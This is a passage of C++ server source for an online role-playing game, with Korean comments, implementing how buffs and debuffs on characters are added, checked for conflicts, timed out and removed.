+= mlp->m_nHitrateValue;\n\t\t\t\t\tbreak;\n#ifdef ASSIST_REDUCE_SKILL\n\t\t\t\tcase MST_REDUCE_SKILL:\n\t\t\t\t\tAPPVAL(reduceSkill);\n\t\t\t\t\taddition->reduceSkillProb += mlp->m_nHitrateValue;\n\t\t\t\t\tbreak;\n#endif\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase MT_IMMUNE:\n\t\t\t\tswitch (mp->m_subtype)\n\t\t\t\t{\n\t\t\t\tcase MST_IMMUNE_BLIND:\n\t\t\t\t\taddition->immune_blind = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase MT_CASTLE_WAR:\n\t\t\t\tswitch (mp->m_subtype)\n\t\t\t\t{\n\t\t\t\tcase MST_WAR_REDUCE_MELEE:\n\t\t\t\t\tAPPVAL(war_reduce_melee);\n\t\t\t\t\taddition->war_reduce_melee_prob += mlp->m_nHitrateValue;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_WAR_REDUCE_RANGE:\n\t\t\t\t\tAPPVAL(war_reduce_range);\n\t\t\t\t\taddition->war_reduce_range_prob += mlp->m_nHitrateValue;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_WAR_REDUCE_MAGIC:\n\t\t\t\t\tAPPVAL(war_reduce_magic);\n\t\t\t\t\taddition->war_reduce_magic_prob += mlp->m_nHitrateValue;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_WAR_MAX_HP:\n\t\t\t\t\tAPPVAL(war_max_hp);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_WAR_DEFENCE:\n\t\t\t\t\tAPPVAL(war_defence);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_WAR_RESIST:\n\t\t\t\t\tAPPVAL(war_resist);\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_WAR_TOWER_ATTACK:\n\t\t\t\t\tAPPVAL(war_tower_attack);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n}\n\n// 060227 : bs : \uc808\ub300\uc2dc\uac04 \ubc84\ud504 \ucd94\uac00\nvoid CAssistList::DelAssist(CAssistData* d, bool bSend, CCharacter* ch, bool bNoCancelType, bool statusUpdate)\n{\n\t// 060317 : bs : SF_NOCANCEL \uac80\uc0ac\n\t// bNoCancelType \uc774 false\n\tif (!bNoCancelType && (d->m_proto->m_flag & SF_NOCANCEL))\n\t\treturn ;\n\n\t// data \uc81c\uac70\n\t// \ud5e4\ub354\ud3ec\uc778\ud130 \uc124\uc815\n\tif (m_head == d)\t\tm_head = m_head->m_next;\n\t// \ud14c\uc77c\ud3ec\uc778\ud130 \uc124\uc815\n\tif (m_tail == d)\t\tm_tail = m_tail->m_prev;\n\t// prev \ub9c1\ud06c \uc5f0\uacb0\n\tif (d->m_prev)\t\t\td->m_prev->m_next = d->m_next;\n\t// next \ub9c1\ud06c \uc5f0\uacb0\n\tif (d->m_next)\t\t\td->m_next->m_prev = d->m_prev;\n\t// \ub9c1\ud06c \uc81c\uac70\n\td->m_prev = NULL;\n\td->m_next = NULL;\n\n\tbool bIsDamageLink = false;\n\tconst CSkillLevelProto* pSkillLevelProto = d->m_proto->Level(d->m_level);\n\tif (pSkillLevelProto)\n\t{\n\t\tint i;\n\t\tfor (i = 0; i < MAX_SKILL_MAGIC; i++)\n\t\t{\n\t\t\tif (pSkillLevelProto->m_magic[i])\n\t\t\t{\n\t\t\t\tif (pSkillLevelProto->m_magic[i]->m_type == MT_ASSIST && pSkillLevelProto->m_magic[i]->m_subtype == MST_ASSIST_DAMAGELINK)\n\t\t\t\t{\n\t\t\t\t\tbIsDamageLink = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif (pSkillLevelProto->m_magic[i]->m_type == MT_ASSIST\n\t\t\t\t\t\t&& pSkillLevelProto->m_magic[i]->m_subtype == MST_ASSIST_SAFEGUARD)\n\t\t\t\t{\n\t\t\t\t\tCPC * pc = TO_PC(ch);\n\t\t\t\t\tif (pc != NULL)\n\t\t\t\t\t{\n\t\t\t\t\t\tpc->m_bImmortal = false;\n\t\t\t\t\t\tpc->m_assist.m_state &= ~AST_SAFEGUARD;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (pSkillLevelProto->m_magic[i]->m_type == MT_ASSIST\n\t\t\t\t\t\t&& pSkillLevelProto->m_magic[i]->m_subtype == MST_ASSIST_GUARD)\n\t\t\t\t{\n\t\t\t\t\tCPC * pc = TO_PC(ch);\n\t\t\t\t\tif (pc != NULL)\n\t\t\t\t\t{\n\t\t\t\t\t\tCElemental* pElemental = NULL;\n\t\t\t\t\t\tCElemental* pElementalNext = pc->m_elementalList;\n\t\t\t\t\t\twhile ((pElemental = pElementalNext))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tpElementalNext = pElemental->m_nextElemental;\n\t\t\t\t\t\t\tif(pElemental->GetElementalType() == ELEMENTAL_GUARD)\n\t\t\t\t\t\t\t\tpc->UnsummonElemental(pElemental);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (pSkillLevelProto->m_magic[i]->m_type == MT_ASSIST\n\t\t\t\t\t&& pSkillLevelProto->m_magic[i]->m_subtype == MST_ASSIST_GPS)\n\t\t\t\t{\n\t\t\t\t\tCPC * pc = TO_PC(ch);\n\t\t\t\t\tif (pc != NULL)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(d->m_proto->m_index == 1759)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tpc->m_gpsManager.setIsGps(false);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if(d->m_proto->m_index == 1760)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tpc->m_gpsManager.setIsGpsInterrupt(false);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (pSkillLevelProto->m_magic[i]->m_type == MT_ASSIST\n\t\t\t\t\t&& pSkillLevelProto->m_magic[i]->m_subtype == MST_ASSIST_ARTIFACT_GPS)\n\t\t\t\t{\n\t\t\t\t\tCPC * pc = TO_PC(ch);\n\t\t\t\t\tif (pc != NULL)\n\t\t\t\t\t{\n\t\t\t\t\t\tpc->m_arti_gpsManager.setIsGps(false);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (pSkillLevelProto->m_magic[i]->m_index == 520)\n\t\t\t\t{\n\t\t\t\t\tCPC * pc = TO_PC(ch);\n\t\t\t\t\tif (pc != NULL)\n\t\t\t\t\t{\n\t\t\t\t\t\tpc->setSearchLife(false);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// \ud63c\ub780\uc774\ub098 \ud14c\uc774\ubc0d \uc911\uc778 \ubaac\uc2a4\ud130\uc774\uba74 \uc2dc\uac04\uc774 \uc9c0\ub098\uba74 \ud480\uc5b4\uc900\ub2e4.\n\t\t\t\tif (pSkillLevelProto->m_magic[i]->m_type == MT_ASSIST\n\t\t\t\t\t\t&& pSkillLevelProto->m_magic[i]->m_subtype == MST_ASSIST_CONFUSED)\n\t\t\t\t{\n\t\t\t\t\tif (IS_NPC(ch))\n\t\t\t\t\t{\n\t\t\t\t\t\tCNPC* pNPC = TO_NPC(ch);\n\t\t\t\t\t\tif (pNPC)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tpNPC->reSet_MobFlag( STATE_MONSTER_CONFUSION );\n\t\t\t\t\t\t\tDelAttackList(pNPC);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (pSkillLevelProto->m_magic[i]->m_type == MT_ASSIST\n\t\t\t\t\t\t&& pSkillLevelProto->m_magic[i]->m_subtype == MST_ASSIST_TAMING)\n\t\t\t\t{\n\t\t\t\t\tif (IS_NPC(ch))\n\t\t\t\t\t{\n\t\t\t\t\t\tCNPC* pNPC = TO_NPC(ch);\n\t\t\t\t\t\tif (pNPC)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tpNPC->reSet_MobFlag( STATE_MONSTER_TAMING );\n\t\t\t\t\t\t\tDelAttackList(pNPC);\n\n\t\t\t\t\t\t\t// \uc8fc\uc778\uc744 \ucc3e\ub294\ub2e4.\n\t\t\t\t\t\t\tCPC* owner = pNPC->GetOwner();\n\t\t\t\t\t\t\tif(owner != NULL)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\towner->DeleteSlave( pNPC );\n\t\t\t\t\t\t\t\t// npc\uc758 \uc8fc\uc778\ub3c4 \uc9c0\uc6cc \uc90c\n\t\t\t\t\t\t\t\tpNPC->SetOwner(NULL);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (pSkillLevelProto->m_magic[i]->m_type == MT_ASSIST && IS_NPC(ch) )\n\t\t\t\t{\n\t\t\t\t\tswitch(pSkillLevelProto->m_magic[i]->m_subtype )\n\t\t\t\t\t{\n\t\t\t\t\tcase MST_ASSIST_SOUL_TOTEM_BUFF:\n\t\t\t\t\tcase MST_ASSIST_SOUL_TOTEM_ATTK:\n\t\t\t\t\tcase MST_ASSIST_TRAP:\n\t\t\t\t\tcase MST_ASSIST_SUICIDE:\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// \ubc84\ud504\uac00 \uc0dd\uba85\ub839\uc744 \ub2e4\ud558\uba74 NPC\ub97c \ub9ac\uc2a4\ud2b8\uc5d0\uc11c \uc0ad\uc81c\ud55c\ub2e4.\n\t\t\t\t\t\t\tif( TO_NPC(ch)->GetOwner() )\n\t\t\t\t\t\t\t\tTO_NPC(ch)->GetOwner()->SummonNpcRemove(TO_NPC(ch));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif (bIsDamageLink/*(ch->m_assist.m_state & AST_DAMAGELINK) != 0*/)\n\t{\n\t\tCCharacter* plinkSource = ch->m_linkSource;\n\t\tCCharacter* plinkTarget = ch->m_linkTarget;\n\t\tch->m_linkSource = NULL;\n\t\tch->m_linkTarget = NULL;\n\t\tif (plinkSource)\n\t\t{\n\t\t\tplinkSource->m_linkTarget = NULL;\n\t\t\tplinkSource->CancelDamageLink();\n\t\t}\n\t\tif (plinkTarget)\n\t\t{\n\t\t\tplinkTarget->m_linkSource = NULL;\n\t\t\tplinkTarget->CancelDamageLink();\n\t\t}\n\t}\n\n\tif( d->m_proto->m_flag & SF_ABSTIME )\n\t\tm_abscount--;\n\telse\n\t\tm_count--;\n\n\tif(statusUpdate == true)\n\t\tch->CalcStatus(bSend);\n\n\tif( d->m_index != -1 )\n\t{\n\t\tif( IS_PC(ch) )\n\t\t{\n\t\t\tCItemProto* proto = gserver->m_itemProtoList.FindIndex(d->m_index);\n\t\t\tif( proto && proto->getItemFlag() & ITEM_FLAG_CASH )\n\t\t\t{\n\t\t\t\tGAMELOG << init(\"CASH_ASSIST_DEL\", TO_PC(ch))\n\t\t\t\t\t\t<< proto->getItemIndex() << delim\n\t\t\t\t\t\t<< proto->getItemName() << delim\n\t\t\t\t\t\t<< d->m_index << delim\n\t\t\t\t\t\t<< d->m_remain << delim\n\t\t\t\t\t\t<< d->m_proto->m_index << delim\n\t\t\t\t\t\t<< (d->m_proto->m_flag & SF_ABSTIME) << end;\n\t\t\t}\n\t\t}\n\t}\n\n\tswitch(d->m_proto->m_index)\n\t{\n\tcase 1062:\n\tcase 1063:\n\tcase 1064:\n\tcase 1065:\n\t\t{\n\t\t\tGAMELOG << init(\"EP SKILL END\", TO_PC(ch))\n\t\t\t\t\t<< \"Skill Index\" << delim << d->m_proto->m_index << delim\n\t\t\t\t\t<< \"Skill Level\" << delim << d->m_level << end;\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\n\tif (bSend)\n\t{\n\t\t{\n\t\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\t\tAssistDelMsg(rmsg, ch, d->m_index, d->m_proto->m_index);\n\t\t\tch->m_pArea->SendToCell(rmsg, ch, true);\n\t\t}\n\n\t\t{\n\t\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\t\tCharStatusMsg(rmsg, ch, 0);\n\t\t\tch->m_pArea->SendToCell(rmsg, ch, true);\n\t\t}\n\n\t\t// \ud33b\uc2a4\ud0ac \ud574\uc81c \uc2dc \uc2a4\ud14c\uc774\ud130\uc2a4\ub97c \ub0a0\ub9b0\ub2e4.\n\t\tif( IS_APET(ch) )\n\t\t{\n\t\t\tCAPet * pApet = TO_APET(ch);\n\t\t\tif(pApet->GetOwner() != NULL)\n\t\t\t{\n\t\t\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\t\t\tExAPetStatusMsg( rmsg, pApet );\n\t\t\t\tSEND_Q( rmsg, pApet->GetOwner()->m_desc );\n\t\t\t}\n\t\t}\n\t}\n\n\tdelete d;\n}\n\n////////////////\n// class CAssist\n\nCAssist::CAssist()\n{\n\tm_ch = NULL;\n\n\tm_help.Max(MAX_ASSIST_HELP);\n\tm_curse.Max(MAX_ASSIST_CURSE);\n\n\tm_delaycheck = gserver->getNowSecond();\n\n\tmemset(&m_avAddition, 0, sizeof(m_avAddition));\n\tmemset(&m_avRate, 0, sizeof(m_avRate));\n\tm_state = 0;\n}\n\nvoid CAssist::Init(CCharacter* ch)\n{\n\tm_ch = ch;\n}\n\nbool CAssist::Add(CCharacter* spellchar, int itemidx, const CSkillProto* proto, int level, bool bHit[MAX_SKILL_MAGIC], bool bSend, int remain,\n\t\t\t\t  int remainCount,\n\t\t\t\t  int param, int nBlessAdd, int nBlessRate)\n{\n\tif (!CanApply(proto, level))\n\t\treturn false;\n\n\tCAssistList* list = NULL;\n\n\tif (proto->m_flag & SF_HELP)\n\t\tlist = &m_help;\n\telse\n\t\tlist = &m_curse;\n\n\tbool bCancelBlind = false;\n\tbool isStone = false;\n\tbool isDamageLink = false;\n\n\tint i;\n\tint j = 0;\n\tfor (i = 0; i < MAX_SKILL_MAGIC; i++)\n\t{\n\t\tif (bHit[i] && proto->Level(level)->m_magic[i])\n\t\t{\n\t\t\tj++;\n\n\t\t\tswitch (proto->Level(level)->m_magic[i]->m_type)\n\t\t\t{\n\t\t\tcase MT_IMMUNE:\n\t\t\t\tswitch (proto->Level(level)->m_magic[i]->m_subtype)\n\t\t\t\t{\n\t\t\t\tcase MST_IMMUNE_BLIND:\n\t\t\t\t\tbCancelBlind = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase MT_ASSIST:\n\t\t\t\tswitch (proto->Level(level)->m_magic[i]->m_subtype)\n\t\t\t\t{\n\t\t\t\tcase MST_ASSIST_HOLD:\n\t\t\t\tcase MST_ASSIST_SILENT:\n\t\t\t\tcase MST_ASSIST_STONE:\n\t\t\t\tcase MST_ASSIST_STURN:\n\t\t\t\tcase MST_ASSIST_SLEEP:\n\t\t\t\t\tif( IS_NPC(m_ch) )\n\t\t\t\t\t{\n\t\t\t\t\t\tCNPC* pNpc = TO_NPC(m_ch);\n\t\t\t\t\t\t//\ud640\ub4dc\uc5d0 \ub300\ud55c \uba74\uc5ed \uc2a4\ud0ac \ubc1c\ub3d9 \ud50c\ub798\uadf8\uac00 \uc788\uc744 \uacbd\uc6b0\n\t\t\t\t\t\tif(pNpc->m_proto->CheckStateFlag( (1 << proto->Level(level)->m_magic[i]->m_subtype)) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//npc \uc5d0\uac8c \ud604\uc81c \ud640\ub4dc \uba74\uc5ed \ubc84\ud504\uac00 \uac78\ub824\uc788\ub294 \uacbd\uc6b0\n\t\t\t\t\t\t\tif(pNpc->m_assist.FindBySkillIndex(1751))\t\t//1751 : \uc544\uc774\uc5b8 \uc6d4 (NPC \uba74\uc5ed \uc2a4\ud0ac \uc778\ub371\uc2a4)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tconst CSkillProto* proto = gserver->m_skillProtoList.Find(1751);\n\t\t\t\t\t\t\tconst CSkillLevelProto* levelproto = proto->Level(1);\n\t\t\t\t\t\t\tbool bHit[MAX_SKILL_MAGIC] = {true, false, false};\n\t\t\t\t\t\t\tpNpc->m_assist.Add(m_ch, -1, proto, 1, bHit, true, ((pNpc->m_ctCount * 15) + 20) * 10, levelproto->m_useCount, 0, 0, 0);\n\t\t\t\t\t\t\tpNpc->m_ctCount++;\n\t\t\t\t\t\t\tif(pNpc->m_ctCount == 20)\n\t\t\t\t\t\t\t\tpNpc->m_ctCount = 20;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (proto->Level(level)->m_magic[i]->m_subtype == MST_ASSIST_STONE)\n\t\t\t\t\t\tisStone = true;\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_FEAR:\n\t\t\t\t\tif (spellchar == NULL)\n\t\t\t\t\t\treturn false;\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase MST_ASSIST_DAMAGELINK:\n\t\t\t\t\tif (spellchar == NULL)\n\t\t\t\t\t\treturn false;\n\t\t\t\t\telse\n\t\t\t\t\t\tisDamageLink = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\tif (j == 0)\n\t\treturn false;\n\n\tif (isStone)\n\t\tClearAssist(bSend, true, true, true, false);\n//\telse if (m_state & AST_STONE)\n//\t\treturn false;\n\n\t// \uc18c\uc11c\ub7ec\uc758 \uc18c\ub178\ubc14 \ube0c\ub808\uc774\ud06c \uc774\uba74\uc11c \uc11d\ud654\uac00 \uc2e4\ud328\ud588\ub2e4\uba74 \ub514\ubc84\ud504 \uba54\uc138\uc9c0\ub97c \uc8fc\uc9c0 \uc54a\ub294\ub2e4.   yhj\n\tif ( proto->m_index == 311 && !isStone )\n\t{\n\t\treturn false;\n\t}\n\n\tif (isDamageLink)\n\t{\n\t\tif (m_ch->m_linkSource || m_ch->m_linkTarget)\n\t\t\tm_ch->CancelDamageLink();\n\n\t\tif (spellchar != m_ch)\n\t\t{\n\t\t\tint nTemp = remain;\n\t\t\tint nTemp2 = remainCount;\n\t\t\tif (!spellchar->m_assist.Add(spellchar, itemidx, proto, level, bHit, bSend, nTemp,\n\t\t\t\t\t\t\t\t\t\t nTemp2,\n\t\t\t\t\t\t\t\t\t\t param, nBlessAdd, nBlessRate))\n\t\t\t\treturn false;\n\t\t}\n\t}\n\n//\tDelDuplicate(proto, level, bSend, false);\n\tDelDuplicate(proto, level, bSend, true);\n\tCheckApplyConditions();\n\n\tif (bCancelBlind)\n\t\tCureAssist(MST_ASSIST_BLIND, 99);\n\n\tif (!list->Add(spellchar, itemidx, proto, level, bHit, remain,\n\t\t\t\t   remainCount,\n\t\t\t\t   param, nBlessAdd, nBlessRate, m_ch->m_decreaseDBufTimeRate))\n\t\treturn false;\n\n\tif (isDamageLink)\n\t{\n\t\tif (spellchar != m_ch)\n\t\t{\n\t\t\tm_ch->m_linkSource = spellchar;\n\t\t\tspellchar->m_linkTarget = m_ch;\n\t\t}\n\t}\n\n\tm_ch->CalcStatus(true);\n\n\tif (bSend)\n\t{\n\t\t{\n\t\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\t\tAssistAddMsg(rmsg, m_ch, itemidx, proto->m_index, level, remain\n\t\t\t\t\t\t , remainCount\n\t\t\t\t\t\t);\n\t\t\tm_ch->m_pArea->SendToCell(rmsg, m_ch, true);\n\t\t}\n\n\t\t{\n\t\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\t\tCharStatusMsg(rmsg, m_ch, 0);\n\t\t\tm_ch->m_pArea->SendToCell(rmsg, m_ch, true);\n\t\t}\n\n\t\t// \ud33b\uc2a4\ud0ac \ud574\uc81c \uc2dc \uc2a4\ud14c\uc774\ud130\uc2a4\ub97c \ub0a0\ub9b0\ub2e4.\n\t\tif( IS_APET(m_ch) )\n\t\t{\n\t\t\tCAPet * pApet = TO_APET(m_ch);\n\t\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\t\tExAPetStatusMsg( rmsg, pApet );\n\t\t\tSEND_Q( rmsg, pApet->GetOwner()->m_desc );\n\t\t}\n\t}\n\n\treturn true;\n}\n\nbool CAssist::CanApply(const CSkillProto* proto, int level)\n{\n\tif (proto == NULL)\n\t\treturn false;\n\tconst CSkillLevelProto* levelproto = proto->Level(level);\n\tif (levelproto == NULL)\n\t\treturn false;\n\n\tint i;\n\tfor (i = 0; i < MAX_SKILL_MAGIC; i++)\n\t{\n\t\tif (levelproto->m_magic[i])\n\t\t{\n\t\t\tswitch (levelproto->m_magic[i]->m_type)\n\t\t\t{\n\t\t\tcase MT_ASSIST:\n\t\t\t\tswitch (levelproto->m_magic[i]->m_subtype)\n\t\t\t\t{\n\t\t\t\tcase MST_ASSIST_BLIND:\n\t\t\t\t\tif (FindByType(MT_IMMUNE, MST_IMMUNE_BLIND) || m_ch->m_avPassiveAddition.immune_blind)\n\t\t\t\t\t{\n\t\t\t\t\t\t//100% \uc801\uc6a9 \uc81c\uac70 its : 18842 -> 80%\ud655\ub960\ub85c \uc801\uc6a9\ud558\ub3c4\ub85d \uc218\uc815\n\t\t\t\t\t\tint rand = GetRandom(1, 10000);\n\t\t\t\t\t\tif(rand > 8000)\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase MST_ASSIST_AURA_DARKNESS:\n\t\t\t\tcase MST_ASSIST_AURA_WEAKNESS:\n\t\t\t\tcase MST_ASSIST_AURA_ILLUSION:\n\t\t\t\t\t// AURA\ub294 \ud55c\uac00\uc9c0\ub9cc \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4.\n\t\t\t\t\t// \uc624\uc624\ub77c\ub97c \uc0ac\uc6a9\ud558\uace0 \uc788\ub294\uc9c0 \ud655\uc778\n\t\t\t\t\tif(FindByType(MT_ASSIST, MST_ASSIST_AURA_DARKNESS)\n\t\t\t\t\t\t\t||FindByType(MT_ASSIST, MST_ASSIST_AURA_WEAKNESS)\n\t\t\t\t\t\t\t||FindByType(MT_ASSIST, MST_ASSIST_AURA_ILLUSION))\n\t\t\t\t\t\treturn false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn (m_help.CanApply(proto, level) && m_curse.CanApply(proto, level));\n}\n\n// 060227 : bs : \uc808\ub300\uc2dc\uac04 \ubc84\ud504 \ucd94\uac00\nvoid CAssist::DelDuplicate(const CSkillProto* proto, int level, bool bSend, bool bNoCancelType)\n{\n\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\tm_curse.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t// \uc774\uc18d\ubb3c\uc57d\uacfc \ucc28\ud06c\ub77c\uc2e4\ub4dc\ub294 \ub354\ube14\ubb34\ube0c\uba3c\ud2b8\uc640 \ub3d9\uc2dc \uc801\uc6a9 \uc548\ub41c\ub2e4\n\tswitch (proto->m_index)\n\t{\n\tcase 155:\t\t// \ub354\ube14\ubb34\ube0c\uba3c\ud2b8\n\t\tproto = gserver->m_skillProtoList.Find(70);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\t\tm_curse.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(62);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\t\tm_curse.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\t\tbreak;\n\tcase 70:\t\t// \uc774\uc18d\ubb3c\uc57d\n\tcase 62:\t\t// \ucc60\ud06c\ub77c\n\t\tproto = gserver->m_skillProtoList.Find(155);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\t\tm_curse.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\t\tbreak;\n\tcase 470:\n\t\tif( !gserver->isActiveEvent(A_EVENT_HALLOWEEN) )\n\t\t\tbreak;\n\t\tproto = gserver->m_skillProtoList.Find(471);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(472);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(473);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(474);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\t\tbreak;\n\tcase 471:\n\t\tif( !gserver->isActiveEvent(A_EVENT_HALLOWEEN) )\n\t\t\tbreak;\n\t\tproto = gserver->m_skillProtoList.Find(470);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(472);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(473);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(474);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\t\tbreak;\n\tcase 472:\n\t\tif( !gserver->isActiveEvent(A_EVENT_HALLOWEEN) )\n\t\t\tbreak;\n\t\tproto = gserver->m_skillProtoList.Find(470);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(471);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(473);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(474);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\t\tbreak;\n\tcase 473:\n\t\tif( !gserver->isActiveEvent(A_EVENT_HALLOWEEN) )\n\t\t\tbreak;\n\t\tproto = gserver->m_skillProtoList.Find(470);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(471);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(472);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(474);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\t\tbreak;\n\tcase 474:\n\t\tif( !gserver->isActiveEvent(A_EVENT_HALLOWEEN) )\n\t\t\tbreak;\n\t\tproto = gserver->m_skillProtoList.Find(470);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(471);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(472);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\n\t\tproto = gserver->m_skillProtoList.Find(473);\n\t\tm_help.DelDuplicate(proto, level, bSend, m_ch, bNoCancelType);\n\t\tbreak;\n\t}\n}\n\nbool CAssist::DecreaseTime()\n{\n\tif ( m_delaycheck == gserver->getNowSecond())\n\t\treturn false;\n\n\tm_delaycheck = gserver->getNowSecond();\n\n\tLONGLONG changestate = 0;\n\n\tbool bret = m_help.DecreaseTime(m_ch, &changestate);\n\tif (m_curse.DecreaseTime(m_ch, &changestate))\n\t\tbret = true;\n\n\tif (bret || changestate)\n\t{\n\t\tm_ch->CalcStatus(true);\n\n\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\tCharStatusMsg(rmsg, m_ch, changestate);\n\n\t\tm_ch->m_pArea->SendToCell(rmsg, m_ch, true);\n\t}\n\n\treturn bret;\n}\n\nvoid CAssist::Apply()\n{\n\tmemset(&m_avAddition, 0, sizeof(m_avAddition));\n\tmemset(&m_avRate, 0, sizeof(m_avRate));\n\tm_state = 0;\n\tm_help.Apply(m_ch, &m_avAddition, &m_avRate, &m_state);\n\tm_curse.Apply(m_ch, &m_avAddition, &m_avRate, &m_state);\n\n\tm_ch->ApplyAssistData(&m_avAddition, &m_avRate);\n}\n\n// 060317 : bs : SF_NOCANCEL \uac80\uc0ac \ucd94\uac00\nvoid CAssist::ClearAssist(bool bSend, bool bByStone, bool bHelp, bool bCurse, bool bNoCancelType)\n{\n\tCAssistData* pAssist;\n\tCAssistData* pAssistNext;\n\n\tif(bHelp)\n\t{\n\t\tpAssistNext = m_help.m_head;\n\t\twhile ((pAssist = pAssistNext))\n\t\t{\n\t\t\tpAssistNext = pAssistNext->m_next;\n\t\t\t// 060317 : bs : SF_NOCANCEL \uac80\uc0ac\n\t\t\tif (!bNoCancelType && (pAssist->m_proto->m_flag & SF_NOCANCEL))\n\t\t\t\tcontinue ;\n\n\t\t\tif (bByStone)\n\t\t\t{\n\t\t\t\tswitch (pAssist->m_index)\n\t\t\t\t{\n\t\t\t\tcase 671:\t\t// \ud558\uae09 \uacbd\ud5d8\uc758 \uacb0\uc815\n\t\t\t\tcase 672:\t\t// \uc911\uae09 \uacbd\ud5d8\uc758 \uacb0\uc815\n\t\t\t\tcase 673:\t\t// 